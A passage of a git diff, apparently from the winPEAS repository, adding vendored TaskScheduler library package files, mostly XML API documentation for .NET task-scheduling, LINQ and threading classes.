The type of the first parameter of the method that this delegate encapsulates. + The type of the second parameter of the method that this delegate encapsulates. + The first parameter of the method that this delegate encapsulates. + The second parameter of the method that this delegate encapsulates. + + + Provides a set of static (Shared in Visual Basic) methods for querying objects that implement . + + + Determines whether any element of a sequence satisfies a condition. + The type of the elements of . + An whose elements to apply the predicate to. + A function to test each element for a condition. + true if any elements in the source sequence pass the test in the specified predicate; otherwise, false. + + + Casts the elements of an to the specified type. + The type to cast the elements of source to. + The that contains the elements to be cast to type . + An that contains each element of the source sequence cast to the specified type. + + + Determines whether a sequence contains a specified element by using the default equality comparer. + The type of the elements of . + A sequence in which to locate a value. + The value to locate in the sequence. + true if the source sequence contains an element that has the specified value; otherwise, false. + + + Returns the number of elements in a sequence. + The type of the elements of . + A sequence that contains elements to be counted. + The number of elements in the input sequence. + + + Returns distinct elements from a sequence by using the default equality comparer to compare values. + The type of the elements of . + The sequence to remove duplicate elements from. + An that contains distinct elements from the source sequence. + + + Returns the first element of a sequence. + The type of the elements of . + The to return the first element of. + The first element in the specified sequence. + + + Returns the first element of a sequence that satisfies a specified condition. + The type of the elements of . + The to return the first element of. + A function to test each element for a condition. + The first element in the sequence that passes the test in the specified predicate function. + + + Returns the first element of a sequence, or a default value if the sequence contains no elements. + The type of the elements of . + The to return the first element of. + default( ) if is empty; otherwise, the first element in . + + + Returns the first element of the sequence that satisfies a condition or a default value if no such element is found. + The type of the elements of source. + An to return an element from. + A function to test each element for a condition. + default() if is empty or if no element passes the test specified by ; otherwise, the first element in that passes the test specified by . + + + Returns the minimum value in a generic sequence. + The type of the elements of source. + A sequence of values to determine the minimum value of. + The minimum value in the sequence. + + + Returns the maximum value in a generic sequence. + The type of the elements of source. + A sequence of values to determine the maximum value of. + The maximum value in the sequence. + + + Sorts the elements of a sequence in ascending order according to a key. + The type of the elements of . + The type of the key returned by . + A sequence of values to order. + A function to extract a key from an element. + An whose elements are sorted according to a key. + + + Projects each element of a sequence into a new form. + The type of the elements of . + The type of the value returned by . + A sequence of values to invoke a transform function on. + A transform function to apply to each element. + An whose elements are the result of invoking the transform function on each element of . + + + Returns the only element of a sequence that satisfies a specified condition, and throws an exception if more than one such element exists. + The type of the elements of . + An to return a single element from. + A function to test an element for a condition. + The single element of the input sequence that satisfies a condition. + + + Computes the sum of a sequence of nullable values. + A sequence of nullable values to calculate the sum of. + The sum of the values in the sequence. + + + + Computes the sum of the sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. + + The type of the elements of . + A sequence of values that are used to calculate a sum. + A transform function to apply to each element. + The sum of the projected values. + + + Creates an array from a . + The type of the elements of . + An to create an array from. + An array that contains the elements from the input sequence. + + + + Creates a from an according to a specified key selector function, a comparer, and + an element selector function. + + The type of the elements of . + The type of the key returned by . + The type of the value returned by . + An to create a from. + A function to extract a key from each element. + A transform function to produce a result element value from each element. + An to compare keys. + A that contains values of type TElement selected from the input sequence. + + + Creates a from an . + The type of the elements of . + An to create a from. + A that contains elements from the input sequence. + + + Filters a sequence of values based on a predicate. + The type of the elements of . + An to filter. + A function to test each element for a condition. + An that contains elements from the input sequence that satisfy the condition. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + + Stub + + + + + Stub + + + + + Stub + + The sender. + The instance containing the event data. + + + + Stub + + + + + Initializes a new instance of the class. + + The action. + The new items. + The old items. + The new index. + The old index. + + + + Initializes a new instance of the class. + + The action. + + + + Initializes a new instance of the class. + + The action. + The item. + The index. + + + + Initializes a new instance of the class. + + The action. + The item. + The item2. + The index. + + + + Initializes a new instance of the class. + + The action. + The new items. + + + + Gets the action. + + + The action. + + + + + Gets the new items. + + + The new items. + + + + + Gets the new index of the starting. + + + The new index of the starting. + + + + + Gets the old items. + + + The old items. + + + + + Gets the old index of the starting. + + + The old index of the starting. + + + + + Stub + + + + + The add + + + + + The move + + + + + The remove + + + + + The replace + + + + + The reset + + + + + Provides thread-local storage of data. + + Specifies the type of data stored per-thread. + + + With the exception of , all public and protected members of + are thread-safe and may be used + concurrently from multiple threads. + + + + + + Initializes the instance. + + + + + Initializes the instance. + + Whether to track all values set on the instance and expose them through the Values property. + + + + Initializes the instance with the + specified function. + + + The invoked to produce a lazily-initialized value when + an attempt is made to retrieve without it having been previously initialized. + + + is a null reference (Nothing in Visual Basic). + + + + + Initializes the instance with the + specified function. + + + The invoked to produce a lazily-initialized value when + an attempt is made to retrieve without it having been previously initialized. + + Whether to track all values set on the instance and expose them via the Values property. + + is a null reference (Nothing in Visual Basic). + + + + + Releases the resources used by this instance. + + + + + Releases the resources used by this instance. + + + Unlike most of the members of , this method is not thread-safe. + + + + + Releases the resources used by this instance. + + + A Boolean value that indicates whether this method is being called due to a call to . + + + Unlike most of the members of , this method is not thread-safe. + + + + Creates and returns a string representation of this instance for the current thread. + The result of calling on the . + + The for the current thread is a null reference (Nothing in Visual Basic). + + + The initialization function referenced in an improper manner. + + + The instance has been disposed. + + + Calling this method forces initialization for the current thread, as is the + case with accessing directly. + + + + + Gets or sets the value of this instance for the current thread. + + + The initialization function referenced in an improper manner. + + + The instance has been disposed. + + + If this instance was not previously initialized for the current thread, + accessing will attempt to initialize it. If an initialization function was + supplied during the construction, that initialization will happen by invoking the function + to retrieve the initial value for . Otherwise, the default value of + will be used. + + + + + Creates a LinkedSlot and inserts it into the linked list for this ThreadLocal instance. + + + + + Gets a list for all of the values currently stored by all of the threads that have accessed this instance. + + + The instance has been disposed. + + + + Gets all of the threads' values in a list. + + + Gets the number of threads that have data in this instance. + + + + Gets whether is initialized on the current thread. + + + The instance has been disposed. + + + + Gets the value of the ThreadLocal<T> for debugging display purposes. It takes care of getting + the value for the current thread in the ThreadLocal mode. + + + Gets the values of all threads that accessed the ThreadLocal<T>. + + + + Resizes a table to a certain length (or larger). + + + + + Chooses the next larger table size + + + + + A wrapper struct used as LinkedSlotVolatile[] - an array of LinkedSlot instances, but with volatile semantics + on array accesses. + + + + + A node in the doubly-linked list stored in the ThreadLocal instance. + + The value is stored in one of two places: + + 1. If SlotArray is not null, the value is in SlotArray.Table[id] + 2. If SlotArray is null, the value is in FinalValue. + + + + + A manager class that assigns IDs to ThreadLocal instances + + + + + A class that facilitates ThreadLocal cleanup after a thread exits. + + After a thread with an associated thread-local table has exited, the FinalizationHelper + is responsible for removing back-references to the table. Since an instance of FinalizationHelper + is only referenced from a single thread-local slot, the FinalizationHelper will be GC'd once + the thread has exited. + + The FinalizationHelper then locates all LinkedSlot instances with back-references to the table + (all those LinkedSlot instances can be found by following references from the table slots) and + releases the table so that it can get GC'd. + + + + A debugger view of the ThreadLocal<T> to surface additional debugging properties and + to ensure that the ThreadLocal<T> does not become initialized if it was not already. + + + Constructs a new debugger view object for the provided ThreadLocal object. + A ThreadLocal object to browse in the debugger. + + + Returns whether the ThreadLocal object is initialized or not. + + + Returns the value of the ThreadLocal object. + + + Return all values for all threads that have accessed this instance. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/de/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..e4b840c Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/es/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..e770449 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/fr/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..210d333 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/it/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..01ff4ff Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/pl/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..f45a653 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/ru/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..ae4cd51 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..74e2d27 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.dll new file mode 100755 index 0000000..407a862 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..a2baf9a --- /dev/null +++ b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7922 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. 